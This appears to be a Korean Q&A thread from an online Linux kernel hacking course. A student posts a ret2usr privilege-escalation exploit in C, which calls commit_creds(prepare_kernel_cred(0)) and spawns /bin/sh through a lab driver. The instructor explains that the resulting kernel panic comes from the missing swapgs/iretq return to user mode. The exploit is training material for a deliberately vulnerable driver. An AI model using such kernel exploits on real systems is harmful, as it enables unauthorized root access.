inflearn logo
강의

강의

N
챌린지

챌린지

멘토링

멘토링

N
클립

클립

로드맵

로드맵

지식공유

리눅스 커널 해킹. A부터 Z까지

ret2usr 기법

ret2usr 기법 관련 질문있습니다.

332

정재영

작성한 질문수 1

0

안녕하세요.

ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다.

/*
gcc -masm=intel -static -o test_exp test_exp.c -no-pie
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

void payload(void) {
    commit_creds(prepare_kernel_cred(0));
    execl("/bin/sh", "sh", NULL);
}

int main() {
    int fd;
    void *ptr = 0;
    
    commit_creds = 0xffffffff8108e9f0;
    prepare_kernel_cred = 0xffffffff8108ec20;

    fd = open("/dev/test", O_RDWR);

    ptr = &payload;
    printf("Shell executing...\n");
    write(fd, &ptr, sizeof(ptr));

    close(fd);
    printf("Shell executed?\n");
    return 0;
}

payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니,
위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다.

결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요.

그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.

ret2usr 모의해킹 linux 시스템 해킹

답변 1

2

김현우

안녕하세요.

execl 함수는 유저 모드에서 실행되어야 하는 함수입니다.

작성하신 exploit에는 swapgs 및 iretq를 이용해 유저 모드로 복귀하는 작업이 빠져있네요.

질문 주신 대로 유저 모드로의 전환 없이 execl 함수를 실행해서 커널 패닉이 일어난 것이 맞습니다.

감사합니다.

0

정재영

빠른 답변 정말 감사합니다 :)

강의 들으며 정리한 글을 블로그에 공개로 올려도 될까요?

0

80

2

cred 구조체에 __randomize_layout이 적용된건가요?

0

84

1

ppt자료 문의

0

108

2

빌드환경 및 커널소스의 버전

0

138

1

Stack based BOF 강의에서 질문입니다.

0

184

2

kaslr 우회 기법에서 commit_creds, prepare_kernel_cred의 offset을 구하는 과정 질문

0

215

1

CTF 참가 시 전문 분야

0

316

1

SMAP 우회에서 궁금한게 하나 있습니다.

0

405

2

KADR 우회에서 init파일이 없는 경우는 어떻게 하나요?

0

463

1

KADR 우회에서 init파일이 없는 경우는 어떻게 하나요

0

312

1

여전히 해결책 없는 build_result

0

426

1

KASLR 강의에서 주어진 환경에서는 /proc/kallsyms 확인 못하는 것이 맞나요?

0

606

1

build_result가 안보입니다

0

288

1

kernel stack pivoting에서 gadget 관련 질문드립니다.

0

505

1

안녕하세요 수강중 궁금한 것이 있습니다.

0

574

2

pwndbg가 커널에 attach는 되는데 디스어셈코드나 레지스터 표시가 안됩니다.

0

581

1

가젯에 대해 이해가 잘 안됩니다.

0

608

1

Kernel KPTI 적용시 영향?

0

656

1

qemu 스크립트 실행시 Kernel panic이 발생합니다.

0

880

2

Kernel UAF

0

649

1

디버깅 방법

0

935

3

강의 자료 문의

0

379

1

boot.sh 실행시

0

364

1

Kernel Debugging

0

412

1